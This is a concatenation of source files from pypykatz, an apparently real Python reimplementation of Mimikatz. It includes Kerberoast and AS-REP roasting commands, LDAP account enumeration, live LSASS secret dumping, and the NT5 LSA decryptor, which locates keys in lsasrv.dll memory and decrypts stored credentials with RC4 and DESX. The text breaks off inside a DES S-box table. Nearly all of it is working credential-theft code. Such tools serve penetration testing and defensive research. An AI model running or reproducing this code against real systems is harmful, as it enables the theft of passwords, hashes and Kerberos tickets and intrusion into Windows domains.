97 targets.append(target)
98
99 results = []
100 errors = []
101 if args.cmd == 'spnroast':
102 for spn_name in targets:
103 ksspi = KerberoastSSPI()
104 try:
105 ticket = ksspi.get_ticket_for_spn(spn_name.get_formatted_pname())
106 except Exception as e:
107 errors.append((spn_name, e))
108 continue
109 results.append(TGSTicket2hashcat(ticket))
110
111 elif args.cmd == 'asreproast':
112 dcip = args.dc_ip
113 if args.dc_ip is None:
114 dcip = machine.get_domain()
115 ks = KerberosSocket( dcip )
116 ar = APREPRoast(ks)
117 results = ar.run(targets)
118
119
120 if args.out_file:
121 with open(args.out_file, 'w') as f:
122 for thash in results:
123 f.write(thash + '\r\n')
124
125 else:
126 for thash in results:
127 print(thash)
128
129 for err in errors:
130 print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))
131
132 logging.info('SSPI based Kerberoast complete')
133
134 def run(self, args):
135 raise NotImplementedError('Platform independent kerberos not implemented!')
(New empty file)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from pypykatz import logging
7
8 """
9 LDAP is not part of pypykatz directly.
10 This is a wrapper for msldap, ldap3 and winsspi packages
11 """
12
13 class LDAPCMDHelper:
14 def __init__(self):
15 self.live_keywords = ['ldap']
16 self.keywords = ['ldap']
17
18 def add_args(self, parser, live_parser):
19 group = parser.add_parser('ldap', help='LDAP (live) related commands')
20 group.add_argument('credential', help= 'Credential to be used')
21 group.add_argument('cmd', choices=['spn', 'asrep','dump','custom'])
22 group.add_argument('-o','--out-file', help= 'File to stroe results in')
23 group.add_argument('-a','--attrs', action='append', help='DUMP and CUSTOM mode only. LDAP attributes to display. Can be stacked')
24 group.add_argument('-f','--filter', help='CUSTOM mode only. LDAP search filter')
25
26
27 live_group = live_parser.add_parser('ldap', help='LDAP (live) related commands')
28 live_group.add_argument('-c','--credential', help= 'Credential to be used, if omitted it will use teh credentials of the current user. If specified, it will try to impersonate the user. (requires the the target user has a session on the local computer)')
29 live_group.add_argument('--dc-ip', help= 'IP address or hostname of the LDAP server. Optional. If omitted will use registry to check for the DC.')
30 live_group.add_argument('cmd', choices=['spn', 'asrep','dump','custom'])
31 live_group.add_argument('-o','--out-file', help= 'File to stroe results in')
32 live_group.add_argument('-a','--attrs', action='append', help='DUMP and CUSTOM mode only. LDAP attributes to display. Can be stacked')
33 live_group.add_argument('-f','--filter', help='CUSTOM mode only. LDAP search filter')
34
35 def execute(self, args):
36 if args.command in self.keywords:
37 self.run(args)
38
39 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
40 self.run_live(args)
41
42
43 def run_live(self, args):
44 from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
45 from msldap.ldap_objects import MSADUser
46 from msldap import logger as msldaplogger
47 from pypykatz.commons.winapi.machine import LiveMachine
48
49 machine = LiveMachine()
50
51 if args.credential:
52 creds = MSLDAPCredential.from_connection_string(args.credential)
53 else:
54 creds = MSLDAPCredential.get_dummy_sspi()
55
56 if args.dc_ip:
57 target = MSLDAPTarget(args.dc_ip)
58 else:
59 target = MSLDAPTarget(machine.get_domain())
60
61 connection = MSLDAPConnection(creds, target)
62 connection.connect()
63
64 try:
65 adinfo = connection.get_ad_info()
66 domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
67 except Exception as e:
68 logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e)
69 domain = machine.get_domain()
70
71 if args.cmd == 'spn':
72 logging.debug('Enumerating SPN user accounts...')
73 cnt = 0
74 if args.out_file:
75 with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
76 for user in connection.get_all_service_user_objects():
77 cnt += 1
78 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
79
80 else:
81 print('[+] SPN users')
82 for user in connection.get_all_service_user_objects():
83 cnt += 1
84 print('%s/%s' % (domain, user.sAMAccountName))
85
86 logging.debug('Enumerated %d SPN user accounts' % cnt)
87
88 elif args.cmd == 'asrep':
89 logging.debug('Enumerating ASREP user accounts...')
90 ctr = 0
91 if args.out_file:
92 with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
93 for user in connection.get_all_knoreq_user_objects():
94 ctr += 1
95 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
96 else:
97 print('[+] ASREP users')
98 for user in connection.get_all_knoreq_user_objects():
99 ctr += 1
100 print('%s/%s' % (domain, user.sAMAccountName))
101
102 logging.debug('Enumerated %d ASREP user accounts' % ctr)
103
104 elif args.cmd == 'dump':
105 logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
106 ctr = 0
107 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
108 if args.out_file:
109 with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
110 writer = csv.writer(f, delimiter = '\t')
111 writer.writerow(attrs)
112 for user in connection.get_all_user_objects():
113 ctr += 1
114 writer.writerow(user.get_row(attrs))
115
116 else:
117 logging.debug('Are you sure about this?')
118 print('[+] Full user dump')
119 print('\t'.join(attrs))
120 for user in connection.get_all_user_objects():
121 ctr += 1
122 print('\t'.join([str(x) for x in user.get_row(attrs)]))
123
124
125 logging.debug('Enumerated %d user accounts' % ctr)
126
127 elif args.cmd == 'custom':
128 if not args.filter:
129 raise Exception('Custom LDAP search requires the search filter to be specified!')
130 if not args.attrs:
131 raise Exception('Custom LDAP search requires the attributes to be specified!')
132
133 logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
134 logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
135 ctr = 0
136
137 if args.out_file:
138 with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
139 writer = csv.writer(f, delimiter = '\t')
140 writer.writerow(args.attrs)
141 for obj in connection.pagedsearch(args.filter, args.attrs):
142 ctr += 1
143 writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])
144
145 else:
146 for obj in connection.pagedsearch(args.filter, args.attrs):
147 ctr += 1
148 print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))
149
150 logging.debug('Custom search yielded %d results!' % ctr)
151
152 def run(self, args):
153 from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
154 from msldap.ldap_objects import MSADUser
155 from msldap import logger as msldaplogger
156
157 if not args.credential:
158 raise Exception('You must provide credentials when using ldap in platform independent mode.')
159
160 creds = MSLDAPCredential.from_connection_string(args.credential)
161 target = MSLDAPTarget.from_connection_string(args.credential)
162
163 connection = MSLDAPConnection(creds, target)
164 connection.connect()
165
166 try:
167 adinfo = connection.get_ad_info()
168 domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
169 except Exception as e:
170 logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e)
171 domain = machine.get_domain()
172
173 if args.cmd == 'spn':
174 logging.debug('Enumerating SPN user accounts...')
175 cnt = 0
176 if args.out_file:
177 with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
178 for user in connection.get_all_service_user_objects():
179 cnt += 1
180 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
181
182 else:
183 print('[+] SPN users')
184 for user in connection.get_all_service_user_objects():
185 cnt += 1
186 print('%s/%s' % (domain, user.sAMAccountName))
187
188 logging.debug('Enumerated %d SPN user accounts' % cnt)
189
190 elif args.cmd == 'asrep':
191 logging.debug('Enumerating ASREP user accounts...')
192 ctr = 0
193 if args.out_file:
194 with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
195 for user in connection.get_all_knoreq_user_objects():
196 ctr += 1
197 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
198 else:
199 print('[+] ASREP users')
200 for user in connection.get_all_knoreq_user_objects():
201 ctr += 1
202 print('%s/%s' % (domain, user.sAMAccountName))
203
204 logging.debug('Enumerated %d ASREP user accounts' % ctr)
205
206 elif args.cmd == 'dump':
207 logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
208 ctr = 0
209 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
210 if args.out_file:
211 with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
212 writer = csv.writer(f, delimiter = '\t')
213 writer.writerow(attrs)
214 for user in connection.get_all_user_objects():
215 ctr += 1
216 writer.writerow(user.get_row(attrs))
217
218 else:
219 logging.debug('Are you sure about this?')
220 print('[+] Full user dump')
221 print('\t'.join(attrs))
222 for user in connection.get_all_user_objects():
223 ctr += 1
224 print('\t'.join([str(x) for x in user.get_row(attrs)]))
225
226
227 logging.debug('Enumerated %d user accounts' % ctr)
228
229 elif args.cmd == 'custom':
230 if not args.filter:
231 raise Exception('Custom LDAP search requires the search filter to be specified!')
232 if not args.attrs:
233 raise Exception('Custom LDAP search requires the attributes to be specified!')
234
235 logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
236 logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
237 ctr = 0
238
239 if args.out_file:
240 with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
241 writer = csv.writer(f, delimiter = '\t')
242 writer.writerow(args.attrs)
243 for obj in connection.pagedsearch(args.filter, args.attrs):
244 ctr += 1
245 writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])
246
247 else:
248 for obj in connection.pagedsearch(args.filter, args.attrs):
249 ctr += 1
250 print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))
251
252 logging.debug('Custom search yielded %d results!' % ctr)
253
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from .lsa_templates import *
7 from .lsa_decryptor import *
8 from .packages import *
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import os
7 import json
8 import glob
9 import ntpath
10 import traceback
11
12 from pypykatz import logging
13 from pypykatz.pypykatz import pypykatz
14 from pypykatz.commons.common import UniversalEncoder
15 from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession
16
17
18
19 class LSACMDHelper:
20 def __init__(self):
21 self.live_keywords = ['lsa']
22 self.keywords = ['lsa']
23
24 def add_args(self, parser, live_parser):
25 live_group = live_parser.add_parser('lsa', help='Get all secrets from LSASS')
26 live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
27 live_group.add_argument('-e','--halt-on-error', action='store_true',help = 'Stops parsing when a file cannot be parsed')
28 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
29 live_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
30 live_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
31
32 group = parser.add_parser('lsa', help='Get secrets from memory dump')
33 group.add_argument('cmd', choices=['minidump','rekall'])
34 group.add_argument('memoryfile', help='path to the dump file')
35 group.add_argument('-t','--timestamp_override', type=int, help='enforces msv timestamp override (0=normal, 1=anti_mimikatz)')
36 group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
37 group.add_argument('-e','--halt-on-error', action='store_true',help = 'Stops parsing when a file cannot be parsed')
38 group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
39 group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
40 group.add_argument('-r', '--recursive', action='store_true', help = 'Recursive parsing')
41 group.add_argument('-d', '--directory', action='store_true', help = 'Parse all dump files in a folder')
42 group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
43
44 def execute(self, args):
45 if len(self.keywords) > 0 and args.command in self.keywords:
46 self.run(args)
47
48 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
49 self.run_live(args)
50
51 def process_results(self, results, files_with_error, args):
52 if args.outfile and args.json:
53 with open(args.outfile, 'w') as f:
54 json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True)
55
56 elif args.outfile and args.grep:
57 with open(args.outfile, 'w', newline = '') as f:
58 f.write(':'.join(LogonSession.grep_header) + '\r\n')
59 for result in results:
60 for luid in results[result].logon_sessions:
61 for row in results[result].logon_sessions[luid].to_grep_rows():
62 f.write(':'.join(row) + '\r\n')
63
64 elif args.outfile:
65 with open(args.outfile, 'w') as f:
66 for result in results:
67 f.write('FILE: ======== %s =======\n' % result)
68
69 for luid in results[result].logon_sessions:
70 f.write('\n'+str(results[result].logon_sessions[luid]))
71
72 if len(results[result].orphaned_creds) > 0:
73 f.write('\n== Orphaned credentials ==\n')
74 for cred in results[result].orphaned_creds:
75 f.write(str(cred))
76
77 if len(files_with_error) > 0:
78 f.write('\n== Failed to parse these files:\n')
79 for filename in files_with_error:
80 f.write('%s\n' % filename)
81
82 elif args.json:
83 print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
84
85 elif args.grep:
86 print(':'.join(LogonSession.grep_header))
87 for result in results:
88 for luid in results[result].logon_sessions:
89 for row in results[result].logon_sessions[luid].to_grep_rows():
90 print(':'.join(row))
91 for cred in results[result].orphaned_creds:
92 t = cred.to_dict()
93 if t['credtype'] != 'dpapi':
94 if t['password'] is not None:
95 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
96 print(':'.join(x))
97 else:
98 t = cred.to_dict()
99 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
100 print(':'.join(x))
101 else:
102 for result in results:
103 print('FILE: ======== %s =======' % result)
104 if isinstance(results[result], str):
105 print(results[result])
106 else:
107 for luid in results[result].logon_sessions:
108 print(str(results[result].logon_sessions[luid]))
109
110 if len(results[result].orphaned_creds) > 0:
111 print('== Orphaned credentials ==')
112 for cred in results[result].orphaned_creds:
113 print(str(cred))
114
115
116
117 if len(files_with_error) > 0:
118 print('\n==== Parsing errors:')
119 for filename in files_with_error:
120 print(filename)
121
122
123 if args.kerberos_dir:
124 dir = os.path.abspath(args.kerberos_dir)
125 logging.info('Writing kerberos tickets to %s' % dir)
126 for filename in results:
127 base_filename = ntpath.basename(filename)
128 ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions
129 results[filename].kerberos_ccache.to_file(os.path.join(dir, ccache_filename))
130 for luid in results[filename].logon_sessions:
131 for kcred in results[filename].logon_sessions[luid].kerberos_creds:
132 for ticket in kcred.tickets:
133 ticket.to_kirbi(dir)
134
135 for cred in results[filename].orphaned_creds:
136 if cred.credtype == 'kerberos':
137 for ticket in cred.tickets:
138 ticket.to_kirbi(dir)
139
140 def run_live(self, args):
141 files_with_error = []
142 results = {}
143 if args.module == 'lsa':
144 filename = 'live'
145 try:
146 mimi = pypykatz.go_live()
147 results['live'] = mimi
148 except Exception as e:
149 files_with_error.append(filename)
150 if args.halt_on_error == True:
151 raise e
152 else:
153 print('Exception while dumping LSA credentials from memory.')
154 traceback.print_exc()
155 pass
156
157 self.process_results(results, files_with_error,args)
158
159 def run(self, args):
160 files_with_error = []
161 results = {}
162 ###### Rekall
163 if args.cmd == 'rekall':
164 mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override)
165 results['rekall'] = mimi
166
167 ###### Minidump
168 elif args.cmd == 'minidump':
169 if args.directory:
170 dir_fullpath = os.path.abspath(args.memoryfile)
171 file_pattern = '*.dmp'
172 if args.recursive == True:
173 globdata = os.path.join(dir_fullpath, '**', file_pattern)
174 else:
175 globdata = os.path.join(dir_fullpath, file_pattern)
176
177 logging.info('Parsing folder %s' % dir_fullpath)
178 for filename in glob.glob(globdata, recursive=args.recursive):
179 logging.info('Parsing file %s' % filename)
180 try:
181 mimi = pypykatz.parse_minidump_file(filename)
182 results[filename] = mimi
183 except Exception as e:
184 files_with_error.append(filename)
185 logging.exception('Error parsing file %s ' % filename)
186 if args.halt_on_error == True:
187 raise e
188 else:
189 pass
190
191 else:
192 logging.info('Parsing file %s' % args.memoryfile)
193 try:
194 mimi = pypykatz.parse_minidump_file(args.memoryfile)
195 results[args.memoryfile] = mimi
196 except Exception as e:
197 logging.exception('Error while parsing file %s' % args.memoryfile)
198 if args.halt_on_error == True:
199 raise e
200 else:
201 traceback.print_exc()
202
203 self.process_results(results, files_with_error, args)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 from pypykatz.lsadecryptor.lsa_template_nt5 import LsaTemplate_NT5
6 from pypykatz.lsadecryptor.lsa_template_nt6 import LsaTemplate_NT6
7 from pypykatz.lsadecryptor.lsa_decryptor_nt6 import LsaDecryptor_NT6
8 from pypykatz.lsadecryptor.lsa_decryptor_nt5 import LsaDecryptor_NT5
9
10 class LsaDecryptor:
11 def __init__(self):
12 pass
13
14 @staticmethod
15 def choose(reader, decryptor_template, sysinfo):
16 if isinstance(decryptor_template, LsaTemplate_NT5):
17 return LsaDecryptor_NT5(reader, decryptor_template, sysinfo)
18 else:
19 return LsaDecryptor_NT6(reader, decryptor_template, sysinfo)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 import logging
7 #from pypykatz.commons.common import *
8 #from pypykatz.crypto.des import *
9 #from pypykatz.crypto.aes import AESModeOfOperationCBC
10 #from pypykatz.lsadecryptor.lsa_templates import *
11 from pypykatz.crypto.RC4 import RC4
12 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
13 from pypykatz.commons.win_datatypes import LONG
14
15 class LsaDecryptor_NT5(PackageDecryptor):
16 def __init__(self, reader, decryptor_template, sysinfo):
17 super().__init__('LsaDecryptor', None, sysinfo, reader)
18 self.decryptor_template = decryptor_template
19 self.feedback = None
20 self.feedback_offset = None
21 self.des_key = None
22 self.random_key = None
23 self.acquire_crypto_material()
24
25 def acquire_crypto_material(self):
26 self.log('Acquireing crypto stuff...')
27 sigpos = self.find_signature()
28 self.reader.move(sigpos)
29 #data = self.reader.peek(0x50)
30 #self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos))
31
32 for x in [self.decryptor_template.feedback_ptr_offset , self.decryptor_template.old_feedback_offset]:
33 self.feedback_offset = x
34
35 try:
36 self.feedback = self.get_feedback(sigpos)
37 #self.log('Feedback bytes:\n%s' % hexdump(self.feedback, start = 0))
38 self.des_key = self.get_key(sigpos)
39 self.random_key = self.get_random(sigpos)
40 #self.log('randomkey bytes:\n%s' % hexdump(self.random_key, start = 0))
41 except:
42 import traceback
43 traceback.print_exc()
44 input()
45 else:
46 break
47
48
49 def get_feedback(self, sigpos):
50 if self.decryptor_template.arch == 'x86':
51 new_ptr = self.reader.get_ptr_with_offset(sigpos + self.feedback_offset)
52 self.reader.move(new_ptr)
53 return self.reader.read(8)
54 else:
55 self.reader.move(sigpos + self.feedback_offset)
56 offset = LONG(self.reader).value
57 newpos = sigpos + self.feedback_offset + 4 + offset
58 self.reader.move(newpos)
59 return self.reader.read(8)
60
61 def get_key(self, sigpos):
62 if self.decryptor_template.arch == 'x86':
63 new_ptr = self.reader.get_ptr_with_offset(sigpos + self.decryptor_template.desx_key_ptr_offset)
64 self.reader.move(new_ptr)
65 des_key_ptr = self.decryptor_template.key_struct_ptr(self.reader)
66 des_key = des_key_ptr.read(self.reader)
67 else:
68 self.reader.move(sigpos + self.decryptor_template.desx_key_ptr_offset)
69 offset = LONG(self.reader).value
70 newpos = sigpos + self.decryptor_template.desx_key_ptr_offset + 4 + offset
71 self.reader.move(newpos)
72 des_key_ptr = self.decryptor_template.key_struct_ptr(self.reader)
73 des_key = des_key_ptr.read(self.reader)
74
75 return des_key
76
77 def get_random(self, sigpos):
78 if self.decryptor_template.arch == 'x86':
79 random_key_ptr = self.reader.get_ptr_with_offset(sigpos + self.decryptor_template.randomkey_ptr_offset)
80 random_key_ptr = self.reader.get_ptr_with_offset(random_key_ptr)
81 self.reader.move(random_key_ptr)
82 else:
83 self.reader.move(sigpos + self.decryptor_template.randomkey_ptr_offset)
84 offset = LONG(self.reader).value
85 newpos = sigpos + self.decryptor_template.desx_key_ptr_offset + 4 + offset
86 self.reader.move(newpos)
87
88 return self.reader.read(256)
89
90 def find_signature(self):
91 self.log('Looking for main struct signature in memory...')
92 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature)
93 if len(fl) == 0:
94 logging.warning('signature not found! %s' % self.decryptor_template.signature.hex())
95 raise Exception('LSA signature not found!')
96
97 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
98 self.log('Selecting first one @ 0x%08x' % fl[0])
99 return fl[0]
100
101 def decrypt(self, encrypted):
102 # TODO: NT version specific, move from here in subclasses.
103 cleartext = b''
104 size = len(encrypted)
105 if size:
106 if (size % 8) != 0:
107 ctx = RC4(self.random_key)
108 cleartext = ctx.decrypt(encrypted)
109 else:
110 #print('Decryption not implemented!')
111 cleartext = self.__desx_decrypt(encrypted)
112 #raise Exception('Not implemented!')
113
114 return cleartext
115
116 def dump(self):
117 self.log('Recovered LSA encryption keys\n')
118 self.log('Feedback ({}): {}'.format(len(self.feedback), self.feedback.hex()))
119 self.log('Random Key ({}): {}'.format(len(self.random_key), self.random_key.hex()))
120 self.log('DESX inputwhitening Key ({}): {}'.format(len(self.des_key.inputWhitening), self.des_key.inputWhitening.hex()))
121 self.log('DESX outputwhitening Key ({}): {}'.format(len(self.des_key.outputWhitening), self.des_key.outputWhitening.hex()))
122 #self.log('DESX DES Expanded Key ({}): {}' % (self.des_key.desKey.roundKey))
123
124 def __desx_decrypt_internal_block(self, chunk):
125 chunk = xor(chunk, self.des_key.outputWhitening)
126 chunk = self.__desx_internal_block(chunk, encrypt = False)
127 chunk = xor(chunk, self.des_key.inputWhitening)
128 return chunk
129
130 def __desx_decrypt(self, data):
131 res = b''
132 i = 0
133
134 IV = self.feedback
135 while i != len(data):
136 chunk = self.__desx_decrypt_internal_block(data[i:i+8])
137 res += xor(chunk, IV)
138 IV = data[i:i+8]
139 i += 8
140
141 return res
142
143 def __desx_internal_block(self, data, encrypt = False):
144 L = int.from_bytes(data[4:], 'little', signed = False)
145 R = int.from_bytes(data[:4], 'little', signed = False)
146
147 #t = 'ORIGINAL L: %s R: %s' % (L,R)
148 #input(t)
149
150 #print(hex(R))
151 R = rol32(R, 4)
152 #input(hex(R))
153 Ta = (L ^ R) & 0xf0f0f0f0
154 #input('Ta ' + hex(Ta))
155 L = L ^ Ta
156 R = R ^ Ta
157 L = rol32(L, 20)
158 Ta = (L ^ R) & 0xfff0000f
159 #input('Ta ' + hex(Ta))
160 L = L ^ Ta
161 R = R ^ Ta
162 L = rol32(L, 14)
163 Ta = (L ^ R) & 0x33333333
164 #input('Ta ' + hex(Ta))
165 L = L ^ Ta
166 R = R ^ Ta
167 R = rol32(R, 22)
168 Ta = (L ^ R) & 0x03fc03fc
169 #input('Ta ' + hex(Ta))
170 L = L ^ Ta
171 R = R ^ Ta
172 R = rol32(R, 9)
173 Ta = (L ^ R) & 0xaaaaaaaa
174 #input('Ta ' + hex(Ta))
175 L = L ^ Ta
176 R = R ^ Ta
177 L = rol32(L, 1)
178
179 #t = 'BEFORE F! L: %s R: %s' % (L,R)
180 #input(t)
181
182 if encrypt:
183 for i in range(0,14, 2):
184 L, R = F(L, R, self.des_key.desKey.roundKey[i])
185 R, L = F(R, L, self.des_key.desKey.roundKey[i +1])
186
187 else:
188 for i in range(14, -2, -2):
189 #print(i)
190 L, R = F(L, R, self.des_key.desKey.roundKey[i + 1])
191 #t = 'F(%s) L: %s R: %s' % (i, L,R)
192 #input(t)
193 R, L = F(R, L, self.des_key.desKey.roundKey[i])
194 #t = 'F(%s) L: %s R: %s' % (i, L,R)
195 #input(t)
196
197 #t = 'AFTER F! L: %s R: %s' % (L,R)
198 #input(t)
199
200 R = ror32(R, 1)
201 Ta = (L ^ R) & 0xaaaaaaaa
202 L = L ^ Ta
203 R = R ^ Ta
204 L = ror32(L, 9)
205 Ta = (L ^ R) & 0x03fc03fc
206 L ^= Ta
207 R ^= Ta
208 L = ror32(L, 22)
209 Ta = (L ^ R) & 0x33333333
210 L ^= Ta
211 R ^= Ta
212 R = ror32(R, 14)
213 Ta = (L ^ R) & 0xfff0000f
214 L ^= Ta
215 R ^= Ta
216 R = ror32(R, 20)
217 Ta = (L ^ R) & 0xf0f0f0f0
218 L ^= Ta
219 R ^= Ta
220 L = ror32(L, 4)
221
222 return L.to_bytes(4, 'little', signed = False) + R.to_bytes(4, 'little', signed = False)
223
224
225 SymCryptDesSpbox = [
226 [
227 0x02080800, 0x00080000, 0x02000002, 0x02080802, 0x02000000, 0x00080802, 0x00080002, 0x02000002, 0x00080802, 0x02080800, 0x02080000, 0x00000802, 0x02000802, 0x02000000, 0x00000000, 0x00080002,
228 0x00080000, 0x00000002, 0x02000800, 0x00080800, 0x02080802, 0x02080000, 0x00000802, 0x02000800, 0x00000002, 0x00000800, 0x00080800, 0x02080002, 0x00000800, 0x02000802, 0x02080002, 0x00000000,
229 0x00000000, 0x02080802, 0x02000800, 0x00080002, 0x02080800, 0x00080000, 0x00000802, 0x02000800, 0x02080002, 0x00000800, 0x00080800, 0x02000002, 0x00080802, 0x00000002, 0x02000002, 0x02080000,
230 0x02080802, 0x00080800, 0x02080000, 0x02000802, 0x02000000, 0x00000802, 0x00080002, 0x00000000, 0x00080000, 0x02000000, 0x02000802, 0x02080800, 0x00000002, 0x02080002, 0x00000800, 0x00080802,
231 ],
232 [
233 0x40108010, 0x00000000, 0x00108000, 0x40100000, 0x40000010, 0x00008010, 0x40008000, 0x00108000, 0x00008000, 0x40100010, 0x00000010, 0x40008000, 0x00100010, 0x40108000, 0x40100000, 0x00000010,
234 0x00100000, 0x40008010, 0x40100010, 0x00008000, 0x00108010, 0x40000000, 0x00000000, 0x00100010, 0x40008010, 0x00108010, 0x40108000, 0x40000010, 0x40000000, 0x00100000, 0x00008010, 0x40108010,
235 0x00100010, 0x40108000, 0x40008000, 0x00108010, 0x40108010, 0x00100010, 0x40000010, 0x00000000, 0x40000000, 0x00008010, 0x00100000, 0x40100010, 0x00008000, 0x40000000, 0x00108010, 0x40008010,
236 0x40108000, 0x00008000, 0x00000000, 0x40000010, 0x00000010, 0x40108010, 0x00108000, 0x40100000, 0x40100010, 0x00100000, 0x00008010, 0x40008000, 0x40008010, 0x00000010, 0x40100000, 0x00108000,
237 ],
238 [
239 0x04000001, 0x04040100, 0x00000100, 0x04000101, 0x00040001, 0x04000000, 0x04000101, 0x00040100, 0x04000100, 0x00040000, 0x04040000, 0x00000001, 0x04040101, 0x00000101, 0x00000001, 0x04040001,
240 0x00000000, 0x00040001, 0x04040100, 0x00000100, 0x00000101, 0x04040101, 0x00040000, 0x04000001, 0x04040001, 0x04000100, 0x00040101, 0x04040000, 0x00040100, 0x00000000, 0x04000000, 0x00040101,
241 0x04040100, 0x00000100, 0x00000001, 0x00040000, 0x00000101, 0x00040001, 0x04040000, 0x04000101, 0x00000000, 0x04040100, 0x00040100, 0x04040001, 0x00040001, 0x04000000, 0x04040101, 0x00000001,
242 0x00040101, 0x04000001, 0x04000000, 0x04040101, 0x00040000, 0x04000100, 0x04000101, 0x00040100, 0x04000100, 0x00000000, 0x04040001, 0x00000101, 0x04000001, 0x00040101, 0x00000100, 0x04040000,
243 ],
244 [
245 0x00401008, 0x10001000, 0x00000008, 0x10401008, 0x00000000, 0x10400000, 0x10001008, 0x00400008, 0x10401000, 0x10000008, 0x10000000, 0x00001008, 0x10000008, 0x00401008, 0x00400000, 0x10000000,
246 0x10400008, 0x00401000, 0x00001000, 0x00000008, 0x00401000, 0x10001008, 0x10400000, 0x00001000, 0x00001008, 0x00000000, 0x00400008, 0x10401000, 0x10001000, 0x10400008, 0x10401008, 0x00400000,
247 0x10400008, 0x00001008, 0x00400000, 0x10000008, 0x00401000, 0x10001000, 0x00000008, 0x10400000, 0x10001008, 0x00000000, 0x00001000, 0x00400008, 0x00000000, 0x10400008, 0x10401000, 0x00001000,
248 0x10000000, 0x10401008, 0x00401008, 0x00400000, 0x10401008, 0x00000008, 0x10001000, 0x00401008, 0x00400008, 0x00401000, 0x10400000, 0x10001008, 0x00001008, 0x10000000, 0x10000008, 0x10401000,
249 ],
250 [
251 0x08000000, 0x00010000, 0x00000400, 0x08010420, 0x08010020, 0x08000400, 0x00010420, 0x08010000, 0x00010000, 0x00000020, 0x08000020, 0x00010400, 0x08000420, 0x08010020, 0x08010400, 0x00000000,
252 0x00010400, 0x08000000, 0x00010020, 0x00000420, 0x08000400, 0x00010420, 0x00000000, 0x08000020, 0x00000020, 0x08000420, 0x08010420, 0x00010020, 0x08010000, 0x00000400, 0x00000420, 0x08010400,
253 0x08010400, 0x08000420, 0x00010020, 0x08010000, 0x00010000, 0x00000020, 0x08000020, 0x08000400, 0x08000000, 0x00010400, 0x08010420, 0x00000000, 0x00010420, 0x08000000, 0x00000400, 0x00010020,
254 0x08000420, 0x00000400, 0x00000000, 0x08010420, 0x08010020, 0x08010400, 0x00000420, 0x00010000, 0x00010400, 0x08010020, 0x08000400, 0x00000420, 0x00000020, 0x00010420, 0x08010000, 0x08000020,
255 ],
256 [
257 0x80000040, 0x00200040, 0x00000000, 0x80202000, 0x00200040, 0x00002000, 0x80002040, 0x00200000, 0x00002040, 0x80202040, 0x00202000, 0x80000000, 0x80002000, 0x80000040, 0x80200000, 0x00202040,
